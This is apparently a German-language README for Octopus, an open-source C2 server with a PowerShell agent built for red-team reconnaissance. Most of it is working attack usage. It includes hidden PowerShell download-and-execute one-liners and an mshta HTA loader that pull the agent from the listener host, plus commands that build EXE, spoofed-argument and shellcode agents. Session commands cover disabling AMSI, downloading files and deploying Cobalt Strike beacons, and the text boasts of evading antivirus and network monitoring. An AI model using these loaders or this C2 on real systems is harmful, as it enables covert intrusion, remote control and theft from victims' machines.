
Open-Source-Pre-Operation-C2-Server basierend auf Python und PowerShell
Octopus ist ein Open-Source C2-Server für die Vorbereitungsphase, der auf Python basiert und einen Octopus PowerShell-Agenten über HTTP/S steuern kann.
Der Hauptzweck von Octopus ist der Einsatz vor einer Red-Team-Operation. Anstatt die eigentliche Operation mit dem gesamten Arsenal und der Infrastruktur zu beginnen, kann Octopus zuerst verwendet werden, um das Ziel anzugreifen und Informationen zu sammeln, bevor die eigentliche Red-Team-Operation startet.
Octopus arbeitet auf sehr einfache Weise: Es führt Befehle aus und tauscht Informationen mit dem C2 über einen gut verschlüsselten Kanal aus. Dadurch bleibt es unauffällig und von nahezu jeder AV-, Endpoint-Schutz- und Netzwerküberwachungslösung unerkannt.
Eine coole Funktion von Octopus heißt ESA, was für 'Endpoint Situational Awareness' (Endpunkt-Situationsbewusstsein) steht. Diese sammelt wichtige Informationen über das Ziel, um ein besseres Verständnis der Netzwerk-Endpunkte zu gewinnen, denen man während der Operation gegenübersteht. So kann man die eigentliche Operation anhand dieser Informationen anpassen.
Octopus ist so konzipiert, dass es bei der Kommunikation mit dem C2 heimlich und verdeckt bleibt. Standardmäßig wird AES-256 für den verschlüsselten Kanal zwischen dem PowerShell-Agenten und dem C2-Server verwendet. Optional kann auch SSL/TLS genutzt werden, indem ein gültiges Zertifikat für die eigene Domain bereitgestellt und der Octopus C2-Server entsprechend konfiguriert wird.
Octopus ist mit einer Reihe von Funktionen ausgestattet, die es ermöglichen, Einblicke in den bevorstehenden Einsatz zu gewinnen, bevor das gesamte Arsenal oder die Tools und Techniken zum Einsatz kommen müssen, wie z. B.:
Sie können alle Abhängigkeiten von Octopus wie folgt installieren:
pip install -r requirements.txt
Sie müssen nasm für Linux und den Compiler mingw-w64 installieren, um die Shellcoding-Funktion und den Spoofed-Args-Agenten nutzen zu können.
Sie können nasm auf Debian-basierten Distributionen mit folgendem Befehl installieren:
apt install nasm
Und mingw-w64 auf Debian-basierten Distributionen mit:
apt install mingw-w64
Octopus wurde auf den folgenden Betriebssystemen getestet:
Sie müssen auch Mono installieren, um sicherzustellen, dass der C#-Quellcode problemlos kompiliert werden kann.
Octopus verwendet das Mono-csc-Binary zur Kompilierung des C#-Quellcodes. Sie können es mit folgendem Befehl installieren: apt install mono-devel, was auf Kali und Ubuntu 16.04 getestet wurde.
Sie können Octopus auch ohne Mono verwenden, können dann aber den Befehl
generate_exenicht nutzen.
Beachten Sie auch, dass die Kompilierung von C# von der Assembly System.Management.Automation.dll mit dem SHA1-Hash a43ed886b68c6ee913da85df9ad2064f1d81c470 abhängt.
Wenn Sie auf Probleme mit Octopus stoßen, können Sie gerne einen Fehlerbericht einreichen!
Laden Sie zunächst die neueste Version von Octopus mit folgendem Befehl herunter:
git clone https://github.com/mhaskar/Octopus/
Installieren Sie dann die Abhängigkeiten mit folgendem Befehl:
pip install -r requirements.txt
Anschließend können Sie den Octopus-Server mit folgendem Befehl starten:
./octopus.py
Nach dem Start wird Folgendes angezeigt:
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py
___ ___ ___ ___ ___ ___
/ /\ / /\ ___ / /\ / /\ /__/\ / /\
/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_
/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\
/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\
/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\
\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/
\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/
\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/
\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/
\__\/ \__\/ \__\/ \__\/ \__\/ \__\/
v1.2 stable !
Octopus C2 | Control your shells
Octopus >>
Octopus ist recht einfach zu bedienen. Es muss lediglich ein Listener gestartet und ein Agent basierend auf den Informationen dieses Listeners generiert werden.
Es können beliebig viele Listener erstellt und anschließend mit den Agenten interagiert werden, die sich mit ihnen verbinden.
Bevor Octopus verwendet werden kann, muss ein URL-Handling-Profil eingerichtet werden, das das Verhalten und die Funktionen des C2 steuert. Da Octopus ein HTTP-basierter C2 ist, werden URLs zur Verwaltung der Verbindungen verwendet. Um zu verhindern, dass die URLs als Signaturen oder IoC im angegriffenen Netzwerk dienen, können die URLs nach Bedarf einfach angepasst und umbenannt werden.
Die Profileinrichtung unterstützt derzeit nur URL-Handling, Auto-Kill-Wert und Header.
Profil einrichten
Um das Profil einzurichten, muss die Datei profile.py bearbeitet werden, die mehrere wichtige Variablen enthält:
Beispiel:
#!/usr/bin/python3
# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers
# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"
# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"
# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"
# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"
# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"
# will return in every response as Server header
server_response_header = "nginx"
# will return white page that includes HTA script
mshta_url = "/hta"
# auto kill value after n tries
auto_kill = 10
Der Agent und die Listener werden so konfiguriert, dass dieses Profil zur Kommunikation verwendet wird. Als Nächstes muss die Erstellung eines Listeners erläutert werden.
Octopus verfügt über zwei Haupt-Listener: "http listener" und "https listener". Die Optionen beider Listener sind weitgehend identisch.
HTTP-Listener:
Der Befehl listen_http akzeptiert folgende Argumente zum Start:
Ein Beispiel kann durch die Ausführung des Befehls listen_http angezeigt werden:
Octopus >>listen_http
[-] Please check listener arguments !
Syntax : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
##########
Options info :
BindIP IP address that will be used by the listener
BindPort port you want to listen on
Hostname will be used to request the payload from
Interval how may seconds that agent will wait before check for commands
URL page name will hold the payload
Listener_name listener name to use
Octopus >>
Ein Listener kann mit folgendem Befehl gestartet werden:
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Das Ergebnis sieht wie folgt aus:
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
Ein Listener wurde erfolgreich gestartet. Alle Listener können mit dem Befehl listeners angezeigt werden:
Octopus >>listeners
Name IP Port Host Interval Path SSL
---------- ------- ------ ------------- ---------- -------- -----
operation1 0.0.0.0 8080 192.168.178.1 5 page.php False
Octopus >>
HTTPS-Listener:
Ein HTTPS-Listener kann mit dem Befehl listen_https erstellt werden:
Octopus >>listen_https
[-] Please check listener arguments !
Syntax : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
Der Befehl listen_https akzeptiert folgende Argumente zum Start:
Bitte beachten: Es muss ein gültiges SSL-Zertifikat bereitgestellt werden, das mit der verwendeten Domain verknüpft ist.
Powershell-Oneliner
Um einen Agenten für den Listener operation1 zu generieren, kann folgender Befehl verwendet werden:
generate_powershell operation1
Ergebnis:
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"
Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
Hack your way in ;)
#====================
Octopus >>
Dieser Oneliner kann nun zum Starten des Agenten verwendet werden.
HTA-Oneliner
Um einen HTA-Oneliner für den Listener operation1 zu generieren, kann folgender Befehl verwendet werden:
generate_hta operation1
Ergebnis:
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>
Beachten Sie: Die /hta-URL kann in der profile.py bearbeitet werden.
Octopus EXE-Agent
Um einen EXE-Agenten für den Listener operation1 zu generieren, kann folgender Befehl verwendet werden:
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
Ergebnis:
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>
Beachten Sie: mono-csc muss installiert sein, um den C#-Quellcode zu kompilieren.
Octopus Spoofed-Args-Agent
Ein neuer EXE-Agent kann generiert werden, der einen PowerShell-Prozess mit gefälschten Argumenten startet, basierend auf Adam Chestners brillanter Forschung.
Zur Generierung dieses EXEs kann folgender Befehl verwendet werden:
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax : generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>
x64- und x86-Shellcode generieren
Octopus kann ab Version 1.2 sowohl x64- als auch x86-Shellcode generieren. Der generierte Shellcode verwendet CreateProcessA, um einen PowerShell-Oneliner zu starten, der den PowerShell-Agenten ausführt.
Zur Generierung von x64-Shellcode:
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>
Zur Generierung von x86-Shellcode:
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>
Zunächst können alle verbundenen Agenten mit dem Befehl list aufgelistet werden:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>
Anschließend kann mit dem Befehl interact mit dem Host interagiert werden:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >>
Alle verfügbaren Befehle können mit dem Befehl help angezeigt werden:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >> help
Available commands to use :
Hint : if you want to execute system command just type it and wait for the results
+++++++++
help show this help menu
exit/back exit current session and back to the main screen
clear clear the screen output
download download file from the target machine
deploy_cobalt_beacon deploy cobalt strike powershell beacon in the current process
load load powershell module to the target machine
disable_amsi disable AMSI on the target machine
report get situation report from the target
(HR-PC-TYRMJ) >>
Ein Systembefehl kann direkt eingegeben werden. Das Ergebnis wird nach dem beim Listener eingestellten Intervall angezeigt.
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :
Windows IP Configuration
Ethernet adapter Ethernet1:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : home
Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
IPv4 Address. . . . . . . . . . . : 192.168.1.43
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
(HR-PC-TYRMJ) >>
Der Befehl wurde verschlüsselt an den Agenten gesendet. Der Agent entschlüsselt und führt ihn aus, verschlüsselt das Ergebnis und sendet es zurück an den C2, der es entschlüsselt und anzeigt.
Der Befehl report kann verwendet werden, um die ESA-Informationen abzurufen:
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV
=============
Hostname : HR-PC-QNGAV
Domain : darkside.com
OS : Microsoft Windows 10 Pro(64-bit)
OS build : 10.0.17134
OS arch : 64-bit
AntiVirus : Symantec
SIEM solution : False
Internal interfaces/IPs :
IP : 192.168.178.144
IP : 172.12.1.20
Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)
(HR-PC-TYRMJ) >>
Ein externes PowerShell-Modul kann geladen werden, indem es in das modules-Verzeichnis gelegt und dann load module.ps1 ausgeführt wird.
Alle Module im modules-Verzeichnis können mit dem Befehl modules aufgelistet werden:
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>
Ian Lyte für die Meldung mehrerer Bugs in Octopus und die Bereitstellung eines verbesserten AMSI-Bypass-Moduls.
Khlief für das Hinzufügen des HTA-Moduls und die Behebung eines Fehlers in der Download-Funktion.
Moath Maharmah für die Verbesserung des Verschlüsselungsmoduls und das Schreiben eines eigenständigen C# Octopus-Agenten, der der kommenden Version hinzugefügt wird.
TeslaPulse für das Testen von Octopus.
J005 für das Hinzufügen eines verbesserten PowerShell-Oneliners und die Behebung eines Problems im HID-Angriffsskript.
Dieses Projekt ist unter der GPL-3.0-Lizenz lizenziert – siehe die LICENSE-Datei für Details.